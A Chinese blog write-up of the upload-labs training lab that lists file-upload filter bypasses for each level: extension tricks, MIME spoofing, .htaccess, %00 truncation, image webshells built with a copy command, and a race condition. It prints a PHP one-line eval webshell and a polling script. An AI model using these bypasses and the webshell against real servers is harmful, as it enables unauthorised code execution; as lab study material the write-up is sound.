upload-labs游戏

目录

黑名单绕过方式

第1关:JavaScript前端验证

绕过方式:

1、BurpSuit抓包修改文件名后缀

2、在浏览器禁用JavaScript

第2关:MIME类型的验证

绕过方式:

BurpSuit抓包修改文件类型(Content-Type字段)

第3关:特殊后缀的黑名单验证

绕过方式:

1、等价扩展名绕过

这个等价扩展名绕过试了很多次一直没有成功,通过查资料知道了php版本有nts型和ts型,而nts型不能解析等价扩展名。我一直是用的phpstudy,里面php版本只有nts型。

这里是大佬的参考资料

https://www.cnblogs.com/Article-kelp/p/14927087.html

一开始我下载的PHP版本是php-8.2.4-ts,尝试了一下,apache运行报错,又折回下载了php-7.4.33-ts版本,成功。

2、看到网上有人说这里可以用.htaccess文件绕过+jpg文件绕过,但是我试了很久,一直不能绕过,原因是因为这里上传.htaccess文件时,文件前面会有一段时间戳,把.htaccess文件变成了202303212110057239.htaccess,导致无法正常解析。

第4关:.htaccess绕过

绕过方式:

php文件改成.jpg文件+.htaccess文件绕过

第5关:空格+点绕过

绕过方式:

利用BurpSuit抓包修改文件后缀名为“.php. .”,因为这里先过滤最后的点,然后过滤了空格,最后拿.php.与黑名单配对,.php.不在黑名单中。成功绕过。

第6关:大小写绕过(复现失败)

绕过方式:

没有全部转化成小写,这里可以用.PhP、.PHP、.Php等后缀绕过。(这里不知道什么原因,把.PHP文件上传以后一直访问不到,用浏览器访问报出500的错误,这里路径,文件名都是对的。然后我做了个小测试,把.PHP文件改成.php文件后就可以访问到了。目前还不知道啥原因。)

第7关:末尾加空格绕过

绕过方式:

末尾加空格

第8关:末尾加点绕过

绕过方式:

末尾加点

第9关:::$DATA绕过

绕过方式:

利用Windows特性::$DATA绕过

第10关:空格+点绕过

绕过方式:

利用BurpSuit抓包修改文件后缀名为“.php. .”,因为这里先过滤最后的点,然后过滤了空格,最后拿.php.与黑名单配对,.php.不在黑名单中。成功绕过。

第11关:双写绕过

绕过方式:

源码显示把php等后缀名都变为空了,所以这里双写以.pphphp后缀名上传。

白名单绕过方式

第12关:GET型%00截断绕过

绕过方式:

%00只能用于php版本低于5.3的。刚开始一直用的php5.3.29,一直不能绕过,查了后才知道php版本要低于5.3。

php各个版本网址:

https://windows.php.net/downloads/releases/archives/

下载后需要没有php.ini文件,把php.ini-dist文件改成php.ini文件就好了,然后修改一下magic_quotes_gpc为OFF就行了。

第13关:POST型%00截断绕过

绕过方式:

和GET型类似,就是%00需要用url解码

上传图片马+文件包含漏洞

第14关:图片+文件包含漏洞

制作图片马:

copy 1.jpg /b + 2.php /a 3.jpg

这里需要注意的就是1.jpg/b需要放前面,这样可以把2.php中的内容放在最后。这里对图片可能也有点要求,我第一次使用的图片有点大,不知道怎么回事报错了,后来用了一张小一点的图片,成功解析。

上传成功后用文件包含漏洞以php语言解析出来

大概格式:upload-labs/include.php?file=upload/1120230322182510.jpg

第15关:getimagesize()

getimagesize — 取得图像大小

可以用图片马+文件包含漏洞。

第16关:exif_imagetype()

exif_imagetype — 判断一个图像的类型

可以用图片马+文件包含漏洞。

第17关:二次渲染(复现失败)

imagecreatefromjpeg — 由文件或 URL 创建一个新图象。

逻辑漏洞

第18关:条件竞争

只要访问到php_playload.php,就会生成一个一句话木马。

<?php
fputs(fopen('yyy.php','w'),
'<?php @eval($_POST[yyy])?>')
?>

python脚本去访问,也可以自己去访问

import requests
url = "xxx.xxx"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
第19关:条件竞争+Apache的解析漏洞(复现失败)

Apache解析漏洞:当文件名为1.php.xxx时,会把文件当做1.php执行

第20关:move_uploaded_file()

move_uploaded_file() 函数将上传的文件移动到新位置。

绕过方式:

1、可以用%00截断,但是php版本需要低于5.3,而且需要magic_quotes_gpc=OFF

2、move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.

第21关:利用数组绕过验证

upload-labs游戏的更多相关文章

  1. SUCTF 2019 Upload labs 2 踩坑记录

    SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...

  2. Upload - Labs (下)

    Pass - 11: 1.查看源代码,发现进行了一次对后缀名替换成空格,因此考虑双写绕过, 2.上传成功, 关键代码: $is_upload = false; $msg = null; if (iss ...

  3. Upload - Labs (上)

    Pass - 01: 1.尝试上传一个php文件:aaa.php,发现只允许上传某些图片类型,用bp抓包,发现http请求都没通过burp就弹出了不允许上传的提示框,这表明验证点在前端,而不在服务端 ...

  4. [web安全原理分析]-文件上传漏洞基础

    简介 前端JS过滤绕过 待更新... 文件名过滤绕过 待更新 Content-type过滤绕过 Content-Type用于定义网络文件的类型和网页编码,用来告诉文件接收方以什么形式.什么编码读取这个 ...

  5. [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)

    简介  原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn  考察知识点:上传绕过..user.ini  线上平台:h ...

  6. buu学习记录(上)

    前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...

  7. Upload-labs通关指南(上) 1-10

    Upload-labs 所有文章和随笔(随笔将不于csdn更新)将于我的个人博客(移动端暂未适配)第一时间更新. 一些网站存在文件上传接口,一旦存在这个接口就有可能存在漏洞. 文件上传漏洞的逻辑是将一 ...

  8. upload上传通关游戏

    第一关:后缀名限制,抓包改一下后缀. 前端脚本检测文件扩展名.当客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消 息,前端的 js 脚本就对文件的扩展名进行检测来判断是否是可以上传的类型 ...

  9. Bzoj1455 罗马游戏

    Time Limit: 5 Sec  Memory Limit: 64 MBSubmit: 1622  Solved: 679 Description 罗马皇帝很喜欢玩杀人游戏. 他的军队里面有n个人 ...

  10. 第1部分: 游戏引擎介绍, 渲染和构造3D世界

    原文作者:Jake Simpson译者: 向海Email:GameWorldChina@myway.com ---------------------------------------------- ...

随机推荐

  1. iframe 嵌套别的系统不显示,父窗口不响应

    显示不全,没有登录界面,检查了代码渲染了,只是display:none :换了网址 ,别的都可以,只有这个不行 搜索 复制

  2. eclipse创建基于Web的Maven项目

    用于方便查找 以下是原博主链接 https://www.cnblogs.com/sam-uncle/p/8676529.html 如何使用maven搭建web项目呢? 第一步:首先创建一个maven项 ...

  3. CEOI 2021

    CEOI 2021 \(pts\):64 + 0 + 4 \(T1 : 64pts\) 首先我们肯定知道对于相同的数,一定是放在一起才是最优的,随意我们对于每段查询的区间要保证有序,然后我们发现,每个 ...

  4. 在CentOS下安装nginx+php环境

    一.nginx 安装 1. 在nginx官网下载nginx源码 提供一个nginx官网下载地址: http://nginx.org/download/nginx-1.12.2.tar.gz 注意:请先 ...

  5. 狐漠漠养成日记 Cp.00001 开始养成计划

    开始养成计划 今天是我开始这个"狐漠漠养成计划"的第一天(划掉). 看来是昨天出门前忘记保存了,昨天写的几百字内容全都没有了,今天其实已经是计划开始的第二天了. 因为昨天晚上出去喝 ...

  6. 需要改动node_modules,并且别人也可以同步,插件 patch-package

    patch-package 转自:https://www.cnblogs.com/lovewhatIlove/p/15724812.html 1.简介:有个功能需要修改node_modules里面的代 ...

  7. Python爬虫之Scrapy框架爬虫实战

    Python爬虫中Scrapy框架应用非常广泛,经常被人用于属于挖掘.检测以及自动化测试类项目,为啥说Scrapy框架作为半成品我们又该如何利用好呢 ?下面的实战案例值得大家看看. 目录: 1.Scr ...

  8. CSS 常用样式-文字三属性

    颜色 color: 作用:给文字设置颜色. 属性名 k :color 属性值 v :颜色名.颜色值. 颜色名: 颜色名就是使用颜色的英文单词进行表示. 需要记忆一些最常用的颜色名: 更多的颜色名可以通 ...

  9. doy 18 定时任务

    1.定时任务 1.什么是定时任务 类似日常生活之中的闹钟:主要用于定时执行某些命令,达到定时处理数据的作用. 2.定时任务的软件的种类 1.linux操作系统自带的软件:crontab 2.第三方的定 ...

  10. NOI-1253:Dungeon Master(BFS)

    描述You are trapped in a 3D dungeon and need to find the quickest way out! The dungeon is composed of ...